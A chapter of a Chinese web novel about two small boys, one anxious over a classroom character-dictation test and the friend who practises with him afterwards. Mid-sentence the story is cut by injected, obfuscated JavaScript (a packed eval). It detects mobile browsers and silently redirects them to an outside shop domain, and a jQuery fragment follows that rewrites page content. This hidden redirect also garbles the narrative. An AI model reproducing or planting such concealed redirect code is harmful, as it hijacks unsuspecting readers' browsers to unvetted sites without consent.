九月中旬的风已经彻底褪去暑气。清晨天亮得越来越晚,闹钟响的时候,天色还蒙着一层淡淡的灰蓝色。老巷的围墙爬着爬山虎,叶子一半翠绿,一半被秋意染出暗红的边。
谢俞五岁,手掌小小的,握铅笔的时候整只手都要伏在桌面上。校服袖口依旧略长,妈妈前几天简单向内缝了一小截,写字的时候不至于再滑下来盖住指尖。书包比他的后背宽出一大块,里面塞满课本、田字本、图画本,还有两块备用橡皮,一把塑料尺子。
贺朝照旧等在两家相隔的巷口石板处。
贺朝六岁,精神头永远很足,书包带子调得短短的,整个人蹦蹦跳跳,嘴里叼着半块蒸米糕。看见谢俞走出来,他立刻把剩下的米糕全部塞进嘴里,腮帮子鼓得圆圆的,挥着手朝谢俞跑过来。
“快走快走,今天要默写生字。”贺朝含糊不清地说。
谢俞脚步顿了顿。
默写生字这件事,让他心里压着一点小小的不安。他识字很快,可写字对五岁的他依旧费力。笔画多一点的字,手腕写久了就发酸,田字格里的字,偶尔会歪歪扭扭,超出格子边界。假期在家练习过很多遍,但一想到要当着全班的面默写,老师会挨个翻看本子,他就忍不住手心出汗。
“你会写吗?”谢俞小声问。
“有的会,有的不会。”贺朝大大咧咧,“不会就蒙,实在不行偷偷瞄一眼课本——哎不行不行,老师会抓。”他自己先摇摇头否定掉歪主意,“不会就空着呗,错了订正就好了。”
谢俞没有说话。他做不到坦然空着题目。他很怕写错,怕本子上布满红叉,怕老师把本子举起来给全班看,怕别的小朋友转过头来看他笑话。他年纪是全班最小的,仿佛但凡做错一点,都会被放大。
两个人沿着熟悉的老路往学校走。路面落满被风吹落的爬山虎碎叶子,踩上去沙沙作响。路上陆续遇见同班同学,三三两两结伴,吵吵嚷嚷讨论今天的默写任务。
“听说要默十四个生字。”
“我昨天练到很晚。”
“我肯定好多写不出。”
话语飘进耳朵,谢俞攥书包背带的手指,又收紧了几分。
贺朝察觉到他情绪低落,放慢脚步,侧过头看他小小的脸。
“别紧张,大不了放学之后我陪你在台阶上练字。”贺朝拍胸脯,“我字写得不算好看,但我可以陪你一起写。”
谢俞抬眼望他,轻轻“嗯”了一声。
走进校园,早读的铃声还没有响起。教室里已经来了大半同学,喧闹声一层叠一层。有人翻课本,有人互相追逐打闹,还有人抓紧最后几分钟,捧着语文书,埋头临时抱佛脚。
谢俞走到自己座位坐下。课桌挨着窗户,窗台积着薄薄一层灰尘,还散落着前一天上课留下来的橡皮屑。他把书包放进桌肚,掏出语文书和田字本,指尖一页一页翻动,把要默写的生字来回看。
贺朝坐在旁边的位置,也拿出书本,但他看不了两分钟,就忍不住东张西望,一会戳戳前桌的后背,一会扭头看窗外飞过的麻雀。
“贺朝,你好好看书。”谢俞低声提醒他。
“知道啦知道啦。”贺朝嘴上答应,眼睛依旧瞟向窗外。
早读铃响,教室里渐渐安静。领读的同学站在讲台前面,带着全班朗读课文。朗朗读书声填满整间教室。谢俞坐得笔直,嘴唇跟着动,小声跟读。目光落在课本上一笔一画的汉字,心里默默记着笔画顺序。
没过多久,语文老师拿着一叠本子走进教室。
“今天我们课堂默写,把语文课本收起来,拿出田字本,铅笔准备好。”
话音落下,教室里响起一阵悉悉索索翻动书本的声响。有几个小朋友立刻垮下脸,小声叹气。
谢俞心脏猛地跳了一下。他合上语文书,推到课桌最边角,手里捏紧削好的铅笔,指尖微微发凉。
老师站在讲台,一字一字报生字。
“第一字:秋。”
铅笔落在纸面上。谢俞手腕微微用力,禾、火,一笔一笔慢慢落下。田字格里,“秋”字写得稍稍偏左,不算完美,但没有出格。
“第二个:凉。”
这个字笔画多。谢俞写得格外慢,写到后面两点水的时候,手腕开始发酸。笔尖微微一抖,其中一点画得略长。
他心里咯噔一下,盯着那一笔,心里有点懊恼。想要擦掉,又怕越擦本子越脏。短暂犹豫之后,还是拿起橡皮,轻轻蹭掉那一笔,重新补写。橡皮蹭下来细细白白碎屑,落在本子表面,也滚到窗台边。
老师继续往下报。
贺朝在旁边,写得飞快,有的字卡壳,笔头就不停戳着草稿的角落,皱起眉头冥思苦想。实在想不出来,就咬着铅笔头,一脸苦恼。
谢俞大部分生字都可以写出来,遇到笔画繁复的,就写得极慢。整个人精神绷得很紧,全部注意力都压在田字本上。周遭小朋友的动静,耳边细碎的呼吸,好像都离他很远。他只看得见纸面,和手里不停移动的铅笔。
默写到一半,后排两个男生偷偷传小纸条,窸窸窣窣的动静打破安静。老师走过去,没收纸条,低声批评了两句。全班的目光短暂向后排飘过去。
谢俞也下意识抬了一下头,就这么一晃神,手里铅笔顿了顿,接下来那个字,笔顺一下子写错。
心里那根弦,像是轻轻崩了一下。
他立刻拿橡皮反复擦,纸面被擦得微微起毛,留下一块淡淡的灰色印子。
全部生字报完,时间到。老师叫大家停下笔,本子顺着过道往前收。
田字本离开手心那一刻,谢俞心里空落落的。他不知道自己错了多少,脑子里反复回想刚刚写错的那一处。
默写结束,短暂课间到来。
大部分孩子如释重负,呼啦一下涌出教室,跑向走廊和操场。教室里只剩下寥寥几个人。贺朝本来也想跑出去,转头看见谢俞依旧坐在座位上,垂着眼,一点也没有要起身玩耍的意思。
“怎么不出去?”贺朝坐到他课桌边。
“不知道我会错几个。”谢俞声音很轻。
“错几个很正常啊。”贺朝说,“我至少有两三个字根本就不会写,直接空在那里。”
谢俞看向他:“不会写,你不害怕吗?”
“害怕什么,错了订正就好了。老师又不会吃人。”贺朝满不在乎,“昨天我数学题做错一大片,老师也只是叫我多练习。”
谢俞做不到这样坦然。年纪太小,提前来到小学,他潜意识里总觉得,自己必须做得和六岁的孩子一样好,甚至要更好,才配待在这个班里。一旦出错,就仿佛证明自己本就不该来这里。
窗台的风从窗户缝隙吹进来,卷起一点橡皮屑,轻飘飘在空中打个转,又落回窗台。
“万一错很多,会不会被说。”谢俞小声嘟囔。
贺朝想了想,伸手,用自己的手背碰了碰谢俞的手背。小孩的手掌温热。
“就算被说,我陪着你。放学我们就在巷子台阶练字,练到会为止。”
上课铃再次响起。语文课继续,老师把收上去的默写本子批改完毕,抱回教室。一本一本往下发。
拿到本子的同学,有的欢喜,有的愁眉苦脸。
谢俞的心跳越来越快。当属于他的那本田字本传到手上,他迟迟不敢立刻翻开。指尖捏住本子边缘,犹豫好几秒,才慢慢掀开。
页面上零星几处红色的圈,三处生字被圈出来,两处是笔画写错,一处是结构写歪。没有想象中大片大片红叉。老师在末尾写了一行小字:书写工整,部分笔画多加练习。
悬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903661|212990||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起来的心,一下子落回去大半。可看到那几个红圈,心底还是泛起淡淡的挫败。
贺朝也拿到自己本子,上面红圈比谢俞多不少,还有两处大片空白。他扫了一眼,毫不在意,掏出铅笔,就开始对照课本订正。
“你看,我比你错得多多了。”贺朝把本子挪到谢俞面前给他看。
谢俞瞥了一眼,又低头看向自己本子。
“只是几处笔画,已经很好啦。”贺朝安慰他,“多写几遍就不会错。”
接下来几节课照常进行。数学学简单加减法,图画课画秋天的树叶。图画课上,大家拿出彩笔,在画纸上涂涂抹抹。很多小朋友画得天马行空,颜色涂得溢出边框。谢俞画画依旧克制,线条细细的,树叶一片一片排列整齐。贺朝的画纸上颜色堆得满满当当,红的黄的绿的糊在一起。
中午放学,阳光暖暖铺在校园的石板路上。两个人并肩走出校门。路上贺朝还在碎碎念,说下午有体育课,要跑接力。
回到家,谢俞吃完午饭,没有急着去玩,把默写的田字本拿出来,对着课本,把错掉的生字,每个字认认真真抄写五遍。铅笔划过纸面,窗台边,阳光移动位置。
下午返校。接力跑的体育课如期而至。
整班排着队伍来到操场。秋日的阳光不灼人,晒在背上暖洋洋。体育老师讲完接力跑规则,把全班分成好几小组。
哨声一响,第一排的孩子冲出去。操场上脚步声、叫喊声此起彼伏。轮到贺朝那一小组,贺朝跑得飞快,小短腿倒腾起来,风把他的刘海吹得向后扬起。
谢俞站在队伍靠后位置,安安静静看着。轮到他上场的时候,他努力迈开步子,年纪小,步幅不大,拼尽全力往前奔跑。风灌进衣领,耳边全是呼呼的声响。跑完交接棒,他微微喘着气退到队伍侧边。
小组最后没有拿到第一名,但是也没有垫底。
下课回到教室,孩子们满头是汗,吵吵闹闹拿水杯喝水。
一整天的课程慢慢流逝。放学铃响起,夕阳斜斜挂在教学楼屋顶。
收拾书包的时候,谢俞把那本默写田字本放进书包。贺朝凑过来:“走,兑现承诺,巷子台阶练字。”
两个人没有直接回家,拐到老巷那一处宽大青石板台阶。傍晚的老巷格外安静,家家户户飘出饭菜香气。
他们把本子摊在台阶上。地面微凉。贺朝掏出铅笔,陪着谢俞,一遍一遍抄写那几个写错的生字。贺朝写得龙飞凤舞,很多笔画歪歪扭扭;谢俞一笔一画,写得极慢,刻意留意每一处笔顺。
写累了,两个人就停下来歇一会。看着巷子里路过的小猫,看天边慢慢沉下去的落日。
“你看,多写几遍,就不会错了。”贺朝指着本子上重新写好的字。
谢俞低头看着纸面。确实,反复练习之后,笔画不再出错。
“贺朝。”谢俞轻轻开口。
“嗯?”
“要是我一直写不好怎么办。”
贺朝侧过头看他小小的脸,很认真地说:“那就一直练呗。反正我可以一直陪你练。”
晚风卷着落叶吹过来,台阶上散落几片枯黄叶子,也吹起本子边角。谢俞伸手按住纸页。心里那一点沉甸甸的焦虑,被傍晚的风慢慢吹散。
他依旧会害怕写错,依旧会被小小的挫折困住。可现在不再是他一个人面对。身边有一个比他大一岁的小孩,大大咧咧,愿意陪着他一遍一遍重复练习。
天色渐渐暗下来,远处传来大人呼唤孩子回家吃饭的喊声。
“要回去了。”贺朝把本子合上,塞进书包。
谢俞也收好自己的书本。
两个人站起身,拍掉裤子上沾到的灰尘橡皮屑。往家的方向走,长长的影子被夕阳拉得很淡很长。
——本章完——